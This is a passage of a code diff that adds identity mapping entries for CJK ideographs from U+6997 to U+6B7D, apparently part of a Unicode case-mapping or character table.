+ ["\u6997", "\u6997"], /* CJK Ideograph */
+ ["\u6998", "\u6998"], /* CJK Ideograph */
+ ["\u6999", "\u6999"], /* CJK Ideograph */
+ ["\u699A", "\u699A"], /* CJK Ideograph */
+ ["\u699B", "\u699B"], /* CJK Ideograph */
+ ["\u699C", "\u699C"], /* CJK Ideograph */
+ ["\u699D", "\u699D"], /* CJK Ideograph */
+ ["\u699E", "\u699E"], /* CJK Ideograph */
+ ["\u699F", "\u699F"], /* CJK Ideograph */
+ ["\u69A0", "\u69A0"], /* CJK Ideograph */
+ ["\u69A1", "\u69A1"], /* CJK Ideograph */
+ ["\u69A2", "\u69A2"], /* CJK Ideograph */
+ ["\u69A3", "\u69A3"], /* CJK Ideograph */
+ ["\u69A4", "\u69A4"], /* CJK Ideograph */
+ ["\u69A5", "\u69A5"], /* CJK Ideograph */
+ ["\u69A6", "\u69A6"], /* CJK Ideograph */
+ ["\u69A7", "\u69A7"], /* CJK Ideograph */
+ ["\u69A8", "\u69A8"], /* CJK Ideograph */
+ ["\u69A9", "\u69A9"], /* CJK Ideograph */
+ ["\u69AA", "\u69AA"], /* CJK Ideograph */
+ ["\u69AB", "\u69AB"], /* CJK Ideograph */
+ ["\u69AC", "\u69AC"], /* CJK Ideograph */
+ ["\u69AD", "\u69AD"], /* CJK Ideograph */
+ ["\u69AE", "\u69AE"], /* CJK Ideograph */
+ ["\u69AF", "\u69AF"], /* CJK Ideograph */
+ ["\u69B0", "\u69B0"], /* CJK Ideograph */
+ ["\u69B1", "\u69B1"], /* CJK Ideograph */
+ ["\u69B2", "\u69B2"], /* CJK Ideograph */
+ ["\u69B3", "\u69B3"], /* CJK Ideograph */
+ ["\u69B4", "\u69B4"], /* CJK Ideograph */
+ ["\u69B5", "\u69B5"], /* CJK Ideograph */
+ ["\u69B6", "\u69B6"], /* CJK Ideograph */
+ ["\u69B7", "\u69B7"], /* CJK Ideograph */
+ ["\u69B8", "\u69B8"], /* CJK Ideograph */
+ ["\u69B9", "\u69B9"], /* CJK Ideograph */
+ ["\u69BA", "\u69BA"], /* CJK Ideograph */
+ ["\u69BB", "\u69BB"], /* CJK Ideograph */
+ ["\u69BC", "\u69BC"], /* CJK Ideograph */
+ ["\u69BD", "\u69BD"], /* CJK Ideograph */
+ ["\u69BE", "\u69BE"], /* CJK Ideograph */
+ ["\u69BF", "\u69BF"], /* CJK Ideograph */
+ ["\u69C0", "\u69C0"], /* CJK Ideograph */
+ ["\u69C1", "\u69C1"], /* CJK Ideograph */
+ ["\u69C2", "\u69C2"], /* CJK Ideograph */
+ ["\u69C3", "\u69C3"], /* CJK Ideograph */
+ ["\u69C4", "\u69C4"], /* CJK Ideograph */
+ ["\u69C5", "\u69C5"], /* CJK Ideograph */
+ ["\u69C6", "\u69C6"], /* CJK Ideograph */
+ ["\u69C7", "\u69C7"], /* CJK Ideograph */
+ ["\u69C8", "\u69C8"], /* CJK Ideograph */
+ ["\u69C9", "\u69C9"], /* CJK Ideograph */
+ ["\u69CA", "\u69CA"], /* CJK Ideograph */
+ ["\u69CB", "\u69CB"], /* CJK Ideograph */
+ ["\u69CC", "\u69CC"], /* CJK Ideograph */
+ ["\u69CD", "\u69CD"], /* CJK Ideograph */
+ ["\u69CE", "\u69CE"], /* CJK Ideograph */
+ ["\u69CF", "\u69CF"], /* CJK Ideograph */
+ ["\u69D0", "\u69D0"], /* CJK Ideograph */
+ ["\u69D1", "\u69D1"], /* CJK Ideograph */
+ ["\u69D2", "\u69D2"], /* CJK Ideograph */
+ ["\u69D3", "\u69D3"], /* CJK Ideograph */
+ ["\u69D4", "\u69D4"], /* CJK Ideograph */
+ ["\u69D5", "\u69D5"], /* CJK Ideograph */
+ ["\u69D6", "\u69D6"], /* CJK Ideograph */
+ ["\u69D7", "\u69D7"], /* CJK Ideograph */
+ ["\u69D8", "\u69D8"], /* CJK Ideograph */
+ ["\u69D9", "\u69D9"], /* CJK Ideograph */
+ ["\u69DA", "\u69DA"], /* CJK Ideograph */
+ ["\u69DB", "\u69DB"], /* CJK Ideograph */
+ ["\u69DC", "\u69DC"], /* CJK Ideograph */
+ ["\u69DD", "\u69DD"], /* CJK Ideograph */
+ ["\u69DE", "\u69DE"], /* CJK Ideograph */
+ ["\u69DF", "\u69DF"], /* CJK Ideograph */
+ ["\u69E0", "\u69E0"], /* CJK Ideograph */
+ ["\u69E1", "\u69E1"], /* CJK Ideograph */
+ ["\u69E2", "\u69E2"], /* CJK Ideograph */
+ ["\u69E3", "\u69E3"], /* CJK Ideograph */
+ ["\u69E4", "\u69E4"], /* CJK Ideograph */
+ ["\u69E5", "\u69E5"], /* CJK Ideograph */
+ ["\u69E6", "\u69E6"], /* CJK Ideograph */
+ ["\u69E7", "\u69E7"], /* CJK Ideograph */
+ ["\u69E8", "\u69E8"], /* CJK Ideograph */
+ ["\u69E9", "\u69E9"], /* CJK Ideograph */
+ ["\u69EA", "\u69EA"], /* CJK Ideograph */
+ ["\u69EB", "\u69EB"], /* CJK Ideograph */
+ ["\u69EC", "\u69EC"], /* CJK Ideograph */
+ ["\u69ED", "\u69ED"], /* CJK Ideograph */
+ ["\u69EE", "\u69EE"], /* CJK Ideograph */
+ ["\u69EF", "\u69EF"], /* CJK Ideograph */
+ ["\u69F0", "\u69F0"], /* CJK Ideograph */
+ ["\u69F1", "\u69F1"], /* CJK Ideograph */
+ ["\u69F2", "\u69F2"], /* CJK Ideograph */
+ ["\u69F3", "\u69F3"], /* CJK Ideograph */
+ ["\u69F4", "\u69F4"], /* CJK Ideograph */
+ ["\u69F5", "\u69F5"], /* CJK Ideograph */
+ ["\u69F6", "\u69F6"], /* CJK Ideograph */
+ ["\u69F7", "\u69F7"], /* CJK Ideograph */
+ ["\u69F8", "\u69F8"], /* CJK Ideograph */
+ ["\u69F9", "\u69F9"], /* CJK Ideograph */
+ ["\u69FA", "\u69FA"], /* CJK Ideograph */
+ ["\u69FB", "\u69FB"], /* CJK Ideograph */
+ ["\u69FC", "\u69FC"], /* CJK Ideograph */
+ ["\u69FD", "\u69FD"], /* CJK Ideograph */
+ ["\u69FE", "\u69FE"], /* CJK Ideograph */
+ ["\u69FF", "\u69FF"], /* CJK Ideograph */
+ ["\u6A00", "\u6A00"], /* CJK Ideograph */
+ ["\u6A01", "\u6A01"], /* CJK Ideograph */
+ ["\u6A02", "\u6A02"], /* CJK Ideograph */
+ ["\u6A03", "\u6A03"], /* CJK Ideograph */
+ ["\u6A04", "\u6A04"], /* CJK Ideograph */
+ ["\u6A05", "\u6A05"], /* CJK Ideograph */
+ ["\u6A06", "\u6A06"], /* CJK Ideograph */
+ ["\u6A07", "\u6A07"], /* CJK Ideograph */
+ ["\u6A08", "\u6A08"], /* CJK Ideograph */
+ ["\u6A09", "\u6A09"], /* CJK Ideograph */
+ ["\u6A0A", "\u6A0A"], /* CJK Ideograph */
+ ["\u6A0B", "\u6A0B"], /* CJK Ideograph */
+ ["\u6A0C", "\u6A0C"], /* CJK Ideograph */
+ ["\u6A0D", "\u6A0D"], /* CJK Ideograph */
+ ["\u6A0E", "\u6A0E"], /* CJK Ideograph */
+ ["\u6A0F", "\u6A0F"], /* CJK Ideograph */
+ ["\u6A10", "\u6A10"], /* CJK Ideograph */
+ ["\u6A11", "\u6A11"], /* CJK Ideograph */
+ ["\u6A12", "\u6A12"], /* CJK Ideograph */
+ ["\u6A13", "\u6A13"], /* CJK Ideograph */
+ ["\u6A14", "\u6A14"], /* CJK Ideograph */
+ ["\u6A15", "\u6A15"], /* CJK Ideograph */
+ ["\u6A16", "\u6A16"], /* CJK Ideograph */
+ ["\u6A17", "\u6A17"], /* CJK Ideograph */
+ ["\u6A18", "\u6A18"], /* CJK Ideograph */
+ ["\u6A19", "\u6A19"], /* CJK Ideograph */
+ ["\u6A1A", "\u6A1A"], /* CJK Ideograph */
+ ["\u6A1B", "\u6A1B"], /* CJK Ideograph */
+ ["\u6A1C", "\u6A1C"], /* CJK Ideograph */
+ ["\u6A1D", "\u6A1D"], /* CJK Ideograph */
+ ["\u6A1E", "\u6A1E"], /* CJK Ideograph */
+ ["\u6A1F", "\u6A1F"], /* CJK Ideograph */
+ ["\u6A20", "\u6A20"], /* CJK Ideograph */
+ ["\u6A21", "\u6A21"], /* CJK Ideograph */
+ ["\u6A22", "\u6A22"], /* CJK Ideograph */
+ ["\u6A23", "\u6A23"], /* CJK Ideograph */
+ ["\u6A24", "\u6A24"], /* CJK Ideograph */
+ ["\u6A25", "\u6A25"], /* CJK Ideograph */
+ ["\u6A26", "\u6A26"], /* CJK Ideograph */
+ ["\u6A27", "\u6A27"], /* CJK Ideograph */
+ ["\u6A28", "\u6A28"], /* CJK Ideograph */
+ ["\u6A29", "\u6A29"], /* CJK Ideograph */
+ ["\u6A2A", "\u6A2A"], /* CJK Ideograph */
+ ["\u6A2B", "\u6A2B"], /* CJK Ideograph */
+ ["\u6A2C", "\u6A2C"], /* CJK Ideograph */
+ ["\u6A2D", "\u6A2D"], /* CJK Ideograph */
+ ["\u6A2E", "\u6A2E"], /* CJK Ideograph */
+ ["\u6A2F", "\u6A2F"], /* CJK Ideograph */
+ ["\u6A30", "\u6A30"], /* CJK Ideograph */
+ ["\u6A31", "\u6A31"], /* CJK Ideograph */
+ ["\u6A32", "\u6A32"], /* CJK Ideograph */
+ ["\u6A33", "\u6A33"], /* CJK Ideograph */
+ ["\u6A34", "\u6A34"], /* CJK Ideograph */
+ ["\u6A35", "\u6A35"], /* CJK Ideograph */
+ ["\u6A36", "\u6A36"], /* CJK Ideograph */
+ ["\u6A37", "\u6A37"], /* CJK Ideograph */
+ ["\u6A38", "\u6A38"], /* CJK Ideograph */
+ ["\u6A39", "\u6A39"], /* CJK Ideograph */
+ ["\u6A3A", "\u6A3A"], /* CJK Ideograph */
+ ["\u6A3B", "\u6A3B"], /* CJK Ideograph */
+ ["\u6A3C", "\u6A3C"], /* CJK Ideograph */
+ ["\u6A3D", "\u6A3D"], /* CJK Ideograph */
+ ["\u6A3E", "\u6A3E"], /* CJK Ideograph */
+ ["\u6A3F", "\u6A3F"], /* CJK Ideograph */
+ ["\u6A40", "\u6A40"], /* CJK Ideograph */
+ ["\u6A41", "\u6A41"], /* CJK Ideograph */
+ ["\u6A42", "\u6A42"], /* CJK Ideograph */
+ ["\u6A43", "\u6A43"], /* CJK Ideograph */
+ ["\u6A44", "\u6A44"], /* CJK Ideograph */
+ ["\u6A45", "\u6A45"], /* CJK Ideograph */
+ ["\u6A46", "\u6A46"], /* CJK Ideograph */
+ ["\u6A47", "\u6A47"], /* CJK Ideograph */
+ ["\u6A48", "\u6A48"], /* CJK Ideograph */
+ ["\u6A49", "\u6A49"], /* CJK Ideograph */
+ ["\u6A4A", "\u6A4A"], /* CJK Ideograph */
+ ["\u6A4B", "\u6A4B"], /* CJK Ideograph */
+ ["\u6A4C", "\u6A4C"], /* CJK Ideograph */
+ ["\u6A4D", "\u6A4D"], /* CJK Ideograph */
+ ["\u6A4E", "\u6A4E"], /* CJK Ideograph */
+ ["\u6A4F", "\u6A4F"], /* CJK Ideograph */
+ ["\u6A50", "\u6A50"], /* CJK Ideograph */
+ ["\u6A51", "\u6A51"], /* CJK Ideograph */
+ ["\u6A52", "\u6A52"], /* CJK Ideograph */
+ ["\u6A53", "\u6A53"], /* CJK Ideograph */
+ ["\u6A54", "\u6A54"], /* CJK Ideograph */
+ ["\u6A55", "\u6A55"], /* CJK Ideograph */
+ ["\u6A56", "\u6A56"], /* CJK Ideograph */
+ ["\u6A57", "\u6A57"], /* CJK Ideograph */
+ ["\u6A58", "\u6A58"], /* CJK Ideograph */
+ ["\u6A59", "\u6A59"], /* CJK Ideograph */
+ ["\u6A5A", "\u6A5A"], /* CJK Ideograph */
+ ["\u6A5B", "\u6A5B"], /* CJK Ideograph */
+ ["\u6A5C", "\u6A5C"], /* CJK Ideograph */
+ ["\u6A5D", "\u6A5D"], /* CJK Ideograph */
+ ["\u6A5E", "\u6A5E"], /* CJK Ideograph */
+ ["\u6A5F", "\u6A5F"], /* CJK Ideograph */
+ ["\u6A60", "\u6A60"], /* CJK Ideograph */
+ ["\u6A61", "\u6A61"], /* CJK Ideograph */
+ ["\u6A62", "\u6A62"], /* CJK Ideograph */
+ ["\u6A63", "\u6A63"], /* CJK Ideograph */
+ ["\u6A64", "\u6A64"], /* CJK Ideograph */
+ ["\u6A65", "\u6A65"], /* CJK Ideograph */
+ ["\u6A66", "\u6A66"], /* CJK Ideograph */
+ ["\u6A67", "\u6A67"], /* CJK Ideograph */
+ ["\u6A68", "\u6A68"], /* CJK Ideograph */
+ ["\u6A69", "\u6A69"], /* CJK Ideograph */
+ ["\u6A6A", "\u6A6A"], /* CJK Ideograph */
+ ["\u6A6B", "\u6A6B"], /* CJK Ideograph */
+ ["\u6A6C", "\u6A6C"], /* CJK Ideograph */
+ ["\u6A6D", "\u6A6D"], /* CJK Ideograph */
+ ["\u6A6E", "\u6A6E"], /* CJK Ideograph */
+ ["\u6A6F", "\u6A6F"], /* CJK Ideograph */
+ ["\u6A70", "\u6A70"], /* CJK Ideograph */
+ ["\u6A71", "\u6A71"], /* CJK Ideograph */
+ ["\u6A72", "\u6A72"], /* CJK Ideograph */
+ ["\u6A73", "\u6A73"], /* CJK Ideograph */
+ ["\u6A74", "\u6A74"], /* CJK Ideograph */
+ ["\u6A75", "\u6A75"], /* CJK Ideograph */
+ ["\u6A76", "\u6A76"], /* CJK Ideograph */
+ ["\u6A77", "\u6A77"], /* CJK Ideograph */
+ ["\u6A78", "\u6A78"], /* CJK Ideograph */
+ ["\u6A79", "\u6A79"], /* CJK Ideograph */
+ ["\u6A7A", "\u6A7A"], /* CJK Ideograph */
+ ["\u6A7B", "\u6A7B"], /* CJK Ideograph */
+ ["\u6A7C", "\u6A7C"], /* CJK Ideograph */
+ ["\u6A7D", "\u6A7D"], /* CJK Ideograph */
+ ["\u6A7E", "\u6A7E"], /* CJK Ideograph */
+ ["\u6A7F", "\u6A7F"], /* CJK Ideograph */
+ ["\u6A80", "\u6A80"], /* CJK Ideograph */
+ ["\u6A81", "\u6A81"], /* CJK Ideograph */
+ ["\u6A82", "\u6A82"], /* CJK Ideograph */
+ ["\u6A83", "\u6A83"], /* CJK Ideograph */
+ ["\u6A84", "\u6A84"], /* CJK Ideograph */
+ ["\u6A85", "\u6A85"], /* CJK Ideograph */
+ ["\u6A86", "\u6A86"], /* CJK Ideograph */
+ ["\u6A87", "\u6A87"], /* CJK Ideograph */
+ ["\u6A88", "\u6A88"], /* CJK Ideograph */
+ ["\u6A89", "\u6A89"], /* CJK Ideograph */
+ ["\u6A8A", "\u6A8A"], /* CJK Ideograph */
+ ["\u6A8B", "\u6A8B"], /* CJK Ideograph */
+ ["\u6A8C", "\u6A8C"], /* CJK Ideograph */
+ ["\u6A8D", "\u6A8D"], /* CJK Ideograph */
+ ["\u6A8E", "\u6A8E"], /* CJK Ideograph */
+ ["\u6A8F", "\u6A8F"], /* CJK Ideograph */
+ ["\u6A90", "\u6A90"], /* CJK Ideograph */
+ ["\u6A91", "\u6A91"], /* CJK Ideograph */
+ ["\u6A92", "\u6A92"], /* CJK Ideograph */
+ ["\u6A93", "\u6A93"], /* CJK Ideograph */
+ ["\u6A94", "\u6A94"], /* CJK Ideograph */
+ ["\u6A95", "\u6A95"], /* CJK Ideograph */
+ ["\u6A96", "\u6A96"], /* CJK Ideograph */
+ ["\u6A97", "\u6A97"], /* CJK Ideograph */
+ ["\u6A98", "\u6A98"], /* CJK Ideograph */
+ ["\u6A99", "\u6A99"], /* CJK Ideograph */
+ ["\u6A9A", "\u6A9A"], /* CJK Ideograph */
+ ["\u6A9B", "\u6A9B"], /* CJK Ideograph */
+ ["\u6A9C", "\u6A9C"], /* CJK Ideograph */
+ ["\u6A9D", "\u6A9D"], /* CJK Ideograph */
+ ["\u6A9E", "\u6A9E"], /* CJK Ideograph */
+ ["\u6A9F", "\u6A9F"], /* CJK Ideograph */
+ ["\u6AA0", "\u6AA0"], /* CJK Ideograph */
+ ["\u6AA1", "\u6AA1"], /* CJK Ideograph */
+ ["\u6AA2", "\u6AA2"], /* CJK Ideograph */
+ ["\u6AA3", "\u6AA3"], /* CJK Ideograph */
+ ["\u6AA4", "\u6AA4"], /* CJK Ideograph */
+ ["\u6AA5", "\u6AA5"], /* CJK Ideograph */
+ ["\u6AA6", "\u6AA6"], /* CJK Ideograph */
+ ["\u6AA7", "\u6AA7"], /* CJK Ideograph */
+ ["\u6AA8", "\u6AA8"], /* CJK Ideograph */
+ ["\u6AA9", "\u6AA9"], /* CJK Ideograph */
+ ["\u6AAA", "\u6AAA"], /* CJK Ideograph */
+ ["\u6AAB", "\u6AAB"], /* CJK Ideograph */
+ ["\u6AAC", "\u6AAC"], /* CJK Ideograph */
+ ["\u6AAD", "\u6AAD"], /* CJK Ideograph */
+ ["\u6AAE", "\u6AAE"], /* CJK Ideograph */
+ ["\u6AAF", "\u6AAF"], /* CJK Ideograph */
+ ["\u6AB0", "\u6AB0"], /* CJK Ideograph */
+ ["\u6AB1", "\u6AB1"], /* CJK Ideograph */
+ ["\u6AB2", "\u6AB2"], /* CJK Ideograph */
+ ["\u6AB3", "\u6AB3"], /* CJK Ideograph */
+ ["\u6AB4", "\u6AB4"], /* CJK Ideograph */
+ ["\u6AB5", "\u6AB5"], /* CJK Ideograph */
+ ["\u6AB6", "\u6AB6"], /* CJK Ideograph */
+ ["\u6AB7", "\u6AB7"], /* CJK Ideograph */
+ ["\u6AB8", "\u6AB8"], /* CJK Ideograph */
+ ["\u6AB9", "\u6AB9"], /* CJK Ideograph */
+ ["\u6ABA", "\u6ABA"], /* CJK Ideograph */
+ ["\u6ABB", "\u6ABB"], /* CJK Ideograph */
+ ["\u6ABC", "\u6ABC"], /* CJK Ideograph */
+ ["\u6ABD", "\u6ABD"], /* CJK Ideograph */
+ ["\u6ABE", "\u6ABE"], /* CJK Ideograph */
+ ["\u6ABF", "\u6ABF"], /* CJK Ideograph */
+ ["\u6AC0", "\u6AC0"], /* CJK Ideograph */
+ ["\u6AC1", "\u6AC1"], /* CJK Ideograph */
+ ["\u6AC2", "\u6AC2"], /* CJK Ideograph */
+ ["\u6AC3", "\u6AC3"], /* CJK Ideograph */
+ ["\u6AC4", "\u6AC4"], /* CJK Ideograph */
+ ["\u6AC5", "\u6AC5"], /* CJK Ideograph */
+ ["\u6AC6", "\u6AC6"], /* CJK Ideograph */
+ ["\u6AC7", "\u6AC7"], /* CJK Ideograph */
+ ["\u6AC8", "\u6AC8"], /* CJK Ideograph */
+ ["\u6AC9", "\u6AC9"], /* CJK Ideograph */
+ ["\u6ACA", "\u6ACA"], /* CJK Ideograph */
+ ["\u6ACB", "\u6ACB"], /* CJK Ideograph */
+ ["\u6ACC", "\u6ACC"], /* CJK Ideograph */
+ ["\u6ACD", "\u6ACD"], /* CJK Ideograph */
+ ["\u6ACE", "\u6ACE"], /* CJK Ideograph */
+ ["\u6ACF", "\u6ACF"], /* CJK Ideograph */
+ ["\u6AD0", "\u6AD0"], /* CJK Ideograph */
+ ["\u6AD1", "\u6AD1"], /* CJK Ideograph */
+ ["\u6AD2", "\u6AD2"], /* CJK Ideograph */
+ ["\u6AD3", "\u6AD3"], /* CJK Ideograph */
+ ["\u6AD4", "\u6AD4"], /* CJK Ideograph */
+ ["\u6AD5", "\u6AD5"], /* CJK Ideograph */
+ ["\u6AD6", "\u6AD6"], /* CJK Ideograph */
+ ["\u6AD7", "\u6AD7"], /* CJK Ideograph */
+ ["\u6AD8", "\u6AD8"], /* CJK Ideograph */
+ ["\u6AD9", "\u6AD9"], /* CJK Ideograph */
+ ["\u6ADA", "\u6ADA"], /* CJK Ideograph */
+ ["\u6ADB", "\u6ADB"], /* CJK Ideograph */
+ ["\u6ADC", "\u6ADC"], /* CJK Ideograph */
+ ["\u6ADD", "\u6ADD"], /* CJK Ideograph */
+ ["\u6ADE", "\u6ADE"], /* CJK Ideograph */
+ ["\u6ADF", "\u6ADF"], /* CJK Ideograph */
+ ["\u6AE0", "\u6AE0"], /* CJK Ideograph */
+ ["\u6AE1", "\u6AE1"], /* CJK Ideograph */
+ ["\u6AE2", "\u6AE2"], /* CJK Ideograph */
+ ["\u6AE3", "\u6AE3"], /* CJK Ideograph */
+ ["\u6AE4", "\u6AE4"], /* CJK Ideograph */
+ ["\u6AE5", "\u6AE5"], /* CJK Ideograph */
+ ["\u6AE6", "\u6AE6"], /* CJK Ideograph */
+ ["\u6AE7", "\u6AE7"], /* CJK Ideograph */
+ ["\u6AE8", "\u6AE8"], /* CJK Ideograph */
+ ["\u6AE9", "\u6AE9"], /* CJK Ideograph */
+ ["\u6AEA", "\u6AEA"], /* CJK Ideograph */
+ ["\u6AEB", "\u6AEB"], /* CJK Ideograph */
+ ["\u6AEC", "\u6AEC"], /* CJK Ideograph */
+ ["\u6AED", "\u6AED"], /* CJK Ideograph */
+ ["\u6AEE", "\u6AEE"], /* CJK Ideograph */
+ ["\u6AEF", "\u6AEF"], /* CJK Ideograph */
+ ["\u6AF0", "\u6AF0"], /* CJK Ideograph */
+ ["\u6AF1", "\u6AF1"], /* CJK Ideograph */
+ ["\u6AF2", "\u6AF2"], /* CJK Ideograph */
+ ["\u6AF3", "\u6AF3"], /* CJK Ideograph */
+ ["\u6AF4", "\u6AF4"], /* CJK Ideograph */
+ ["\u6AF5", "\u6AF5"], /* CJK Ideograph */
+ ["\u6AF6", "\u6AF6"], /* CJK Ideograph */
+ ["\u6AF7", "\u6AF7"], /* CJK Ideograph */
+ ["\u6AF8", "\u6AF8"], /* CJK Ideograph */
+ ["\u6AF9", "\u6AF9"], /* CJK Ideograph */
+ ["\u6AFA", "\u6AFA"], /* CJK Ideograph */
+ ["\u6AFB", "\u6AFB"], /* CJK Ideograph */
+ ["\u6AFC", "\u6AFC"], /* CJK Ideograph */
+ ["\u6AFD", "\u6AFD"], /* CJK Ideograph */
+ ["\u6AFE", "\u6AFE"], /* CJK Ideograph */
+ ["\u6AFF", "\u6AFF"], /* CJK Ideograph */
+ ["\u6B00", "\u6B00"], /* CJK Ideograph */
+ ["\u6B01", "\u6B01"], /* CJK Ideograph */
+ ["\u6B02", "\u6B02"], /* CJK Ideograph */
+ ["\u6B03", "\u6B03"], /* CJK Ideograph */
+ ["\u6B04", "\u6B04"], /* CJK Ideograph */
+ ["\u6B05", "\u6B05"], /* CJK Ideograph */
+ ["\u6B06", "\u6B06"], /* CJK Ideograph */
+ ["\u6B07", "\u6B07"], /* CJK Ideograph */
+ ["\u6B08", "\u6B08"], /* CJK Ideograph */
+ ["\u6B09", "\u6B09"], /* CJK Ideograph */
+ ["\u6B0A", "\u6B0A"], /* CJK Ideograph */
+ ["\u6B0B", "\u6B0B"], /* CJK Ideograph */
+ ["\u6B0C", "\u6B0C"], /* CJK Ideograph */
+ ["\u6B0D", "\u6B0D"], /* CJK Ideograph */
+ ["\u6B0E", "\u6B0E"], /* CJK Ideograph */
+ ["\u6B0F", "\u6B0F"], /* CJK Ideograph */
+ ["\u6B10", "\u6B10"], /* CJK Ideograph */
+ ["\u6B11", "\u6B11"], /* CJK Ideograph */
+ ["\u6B12", "\u6B12"], /* CJK Ideograph */
+ ["\u6B13", "\u6B13"], /* CJK Ideograph */
+ ["\u6B14", "\u6B14"], /* CJK Ideograph */
+ ["\u6B15", "\u6B15"], /* CJK Ideograph */
+ ["\u6B16", "\u6B16"], /* CJK Ideograph */
+ ["\u6B17", "\u6B17"], /* CJK Ideograph */
+ ["\u6B18", "\u6B18"], /* CJK Ideograph */
+ ["\u6B19", "\u6B19"], /* CJK Ideograph */
+ ["\u6B1A", "\u6B1A"], /* CJK Ideograph */
+ ["\u6B1B", "\u6B1B"], /* CJK Ideograph */
+ ["\u6B1C", "\u6B1C"], /* CJK Ideograph */
+ ["\u6B1D", "\u6B1D"], /* CJK Ideograph */
+ ["\u6B1E", "\u6B1E"], /* CJK Ideograph */
+ ["\u6B1F", "\u6B1F"], /* CJK Ideograph */
+ ["\u6B20", "\u6B20"], /* CJK Ideograph */
+ ["\u6B21", "\u6B21"], /* CJK Ideograph */
+ ["\u6B22", "\u6B22"], /* CJK Ideograph */
+ ["\u6B23", "\u6B23"], /* CJK Ideograph */
+ ["\u6B24", "\u6B24"], /* CJK Ideograph */
+ ["\u6B25", "\u6B25"], /* CJK Ideograph */
+ ["\u6B26", "\u6B26"], /* CJK Ideograph */
+ ["\u6B27", "\u6B27"], /* CJK Ideograph */
+ ["\u6B28", "\u6B28"], /* CJK Ideograph */
+ ["\u6B29", "\u6B29"], /* CJK Ideograph */
+ ["\u6B2A", "\u6B2A"], /* CJK Ideograph */
+ ["\u6B2B", "\u6B2B"], /* CJK Ideograph */
+ ["\u6B2C", "\u6B2C"], /* CJK Ideograph */
+ ["\u6B2D", "\u6B2D"], /* CJK Ideograph */
+ ["\u6B2E", "\u6B2E"], /* CJK Ideograph */
+ ["\u6B2F", "\u6B2F"], /* CJK Ideograph */
+ ["\u6B30", "\u6B30"], /* CJK Ideograph */
+ ["\u6B31", "\u6B31"], /* CJK Ideograph */
+ ["\u6B32", "\u6B32"], /* CJK Ideograph */
+ ["\u6B33", "\u6B33"], /* CJK Ideograph */
+ ["\u6B34", "\u6B34"], /* CJK Ideograph */
+ ["\u6B35", "\u6B35"], /* CJK Ideograph */
+ ["\u6B36", "\u6B36"], /* CJK Ideograph */
+ ["\u6B37", "\u6B37"], /* CJK Ideograph */
+ ["\u6B38", "\u6B38"], /* CJK Ideograph */
+ ["\u6B39", "\u6B39"], /* CJK Ideograph */
+ ["\u6B3A", "\u6B3A"], /* CJK Ideograph */
+ ["\u6B3B", "\u6B3B"], /* CJK Ideograph */
+ ["\u6B3C", "\u6B3C"], /* CJK Ideograph */
+ ["\u6B3D", "\u6B3D"], /* CJK Ideograph */
+ ["\u6B3E", "\u6B3E"], /* CJK Ideograph */
+ ["\u6B3F", "\u6B3F"], /* CJK Ideograph */
+ ["\u6B40", "\u6B40"], /* CJK Ideograph */
+ ["\u6B41", "\u6B41"], /* CJK Ideograph */
+ ["\u6B42", "\u6B42"], /* CJK Ideograph */
+ ["\u6B43", "\u6B43"], /* CJK Ideograph */
+ ["\u6B44", "\u6B44"], /* CJK Ideograph */
+ ["\u6B45", "\u6B45"], /* CJK Ideograph */
+ ["\u6B46", "\u6B46"], /* CJK Ideograph */
+ ["\u6B47", "\u6B47"], /* CJK Ideograph */
+ ["\u6B48", "\u6B48"], /* CJK Ideograph */
+ ["\u6B49", "\u6B49"], /* CJK Ideograph */
+ ["\u6B4A", "\u6B4A"], /* CJK Ideograph */
+ ["\u6B4B", "\u6B4B"], /* CJK Ideograph */
+ ["\u6B4C", "\u6B4C"], /* CJK Ideograph */
+ ["\u6B4D", "\u6B4D"], /* CJK Ideograph */
+ ["\u6B4E", "\u6B4E"], /* CJK Ideograph */
+ ["\u6B4F", "\u6B4F"], /* CJK Ideograph */
+ ["\u6B50", "\u6B50"], /* CJK Ideograph */
+ ["\u6B51", "\u6B51"], /* CJK Ideograph */
+ ["\u6B52", "\u6B52"], /* CJK Ideograph */
+ ["\u6B53", "\u6B53"], /* CJK Ideograph */
+ ["\u6B54", "\u6B54"], /* CJK Ideograph */
+ ["\u6B55", "\u6B55"], /* CJK Ideograph */
+ ["\u6B56", "\u6B56"], /* CJK Ideograph */
+ ["\u6B57", "\u6B57"], /* CJK Ideograph */
+ ["\u6B58", "\u6B58"], /* CJK Ideograph */
+ ["\u6B59", "\u6B59"], /* CJK Ideograph */
+ ["\u6B5A", "\u6B5A"], /* CJK Ideograph */
+ ["\u6B5B", "\u6B5B"], /* CJK Ideograph */
+ ["\u6B5C", "\u6B5C"], /* CJK Ideograph */
+ ["\u6B5D", "\u6B5D"], /* CJK Ideograph */
+ ["\u6B5E", "\u6B5E"], /* CJK Ideograph */
+ ["\u6B5F", "\u6B5F"], /* CJK Ideograph */
+ ["\u6B60", "\u6B60"], /* CJK Ideograph */
+ ["\u6B61", "\u6B61"], /* CJK Ideograph */
+ ["\u6B62", "\u6B62"], /* CJK Ideograph */
+ ["\u6B63", "\u6B63"], /* CJK Ideograph */
+ ["\u6B64", "\u6B64"], /* CJK Ideograph */
+ ["\u6B65", "\u6B65"], /* CJK Ideograph */
+ ["\u6B66", "\u6B66"], /* CJK Ideograph */
+ ["\u6B67", "\u6B67"], /* CJK Ideograph */
+ ["\u6B68", "\u6B68"], /* CJK Ideograph */
+ ["\u6B69", "\u6B69"], /* CJK Ideograph */
+ ["\u6B6A", "\u6B6A"], /* CJK Ideograph */
+ ["\u6B6B", "\u6B6B"], /* CJK Ideograph */
+ ["\u6B6C", "\u6B6C"], /* CJK Ideograph */
+ ["\u6B6D", "\u6B6D"], /* CJK Ideograph */
+ ["\u6B6E", "\u6B6E"], /* CJK Ideograph */
+ ["\u6B6F", "\u6B6F"], /* CJK Ideograph */
+ ["\u6B70", "\u6B70"], /* CJK Ideograph */
+ ["\u6B71", "\u6B71"], /* CJK Ideograph */
+ ["\u6B72", "\u6B72"], /* CJK Ideograph */
+ ["\u6B73", "\u6B73"], /* CJK Ideograph */
+ ["\u6B74", "\u6B74"], /* CJK Ideograph */
+ ["\u6B75", "\u6B75"], /* CJK Ideograph */
+ ["\u6B76", "\u6B76"], /* CJK Ideograph */
+ ["\u6B77", "\u6B77"], /* CJK Ideograph */
+ ["\u6B78", "\u6B78"], /* CJK Ideograph */
+ ["\u6B79", "\u6B79"], /* CJK Ideograph */
+ ["\u6B7A", "\u6B7A"], /* CJK Ideograph */
+ ["\u6B7B", "\u6B7B"], /* CJK Ideograph */
+ ["\u6B7C", "\u6B7C"], /* CJK Ideograph */
+ ["\u6B7D", "\u6B7D"], /* CJK Ideograph */
